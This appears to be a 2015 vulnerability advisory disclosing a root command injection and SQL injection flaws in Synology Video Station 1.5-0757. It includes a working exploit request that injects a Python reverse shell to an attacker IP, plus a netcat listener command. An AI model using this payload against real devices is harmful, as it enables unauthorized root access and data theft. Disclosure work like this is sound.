Synology Video Station 1.5-0757 Command Injection / SQL Injection
Posted on 10 September 2015
------------------------------------------------------------------------ Synology Video Station command injection and multiple SQL injection vulnerabilities ------------------------------------------------------------------------ Han Sahin, September 2015 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ It was discovered that Synology Video Station is vulnerable to command injection that allows an attacker to execute arbitrary system commands with root privileges. In addition, Video Station is affected by multiple SQL injection vulnerabilities that allows for execution of arbitrary SQL statements with DBA privileges. As a result it is possible to compromise the PostgreSQL database server. ------------------------------------------------------------------------ Affected versions ------------------------------------------------------------------------ These issues affect Synology Video Station version up to and including version 1.5-0757. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ Synology has reported that these issue have been resolved in: - Video Station version 1.5-0757 [audiotrack.cgi] - Video Station version 1.5-0763 [watchstatus.cgi] - Video Station version 1.5-0763 [subtitle.cgi] ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ Command injection vulnerability in subtitle.cgi A command injection vulnerability exists in the subtitle.cgi CGI script. This issue exists in the 'subtitle_codepage' parameter, which allows an attacker to execute arbitrary commands with root privileges. The script subtitle.cgi can also be called when the 'public share' option is enabled. With this option enabled, this issue can also be exploited by an unauthenticated remote attacker. This vulnerability can be used to compromise a Synology DiskStation NAS, including all data stored on the NAS, and the NAS as stepping stone to attack other systems. - Start netcat on attacker's system: nc -nvlp 80 - Submit the following request (change the IP - 192.168.1.20 - & port number - 80): GET /webapi/VideoStation/subtitle.cgi?id=193&api=SYNO.VideoStation.Subtitle&method=get&version=2&subtitle_id=%2Fvolume1%2Fvideo%2Fmr.robot.s01e10.720p.hdtv.x264-killers.nfo%2FMr.Robot.S01E10.720p.HDTV.x264-KILLERS.2aafa5c.eng.srt&subtitle_codepage=auto%26python%20-c%20'import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.1.20%22,80));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(%5b%22/bin/sh%22,%22-i%22%5d);'%26&preview=false&sharing_id=kSiNy0Pp HTTP/1.1 Host: 192.168.1.13:5000 User-Agent: Mozilla/5.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: keep-alive Pragma: no-cache Cache-Control: no-cache SQL injection vulnerability in watchstatus.cgi A (blind) SQL injection vulnerability exists in the watchstatus.cgi CGI script.

As a result it is possible to compromise the PostgreSQL database server. In the following screenshot this issue is exploited using sqlmap.
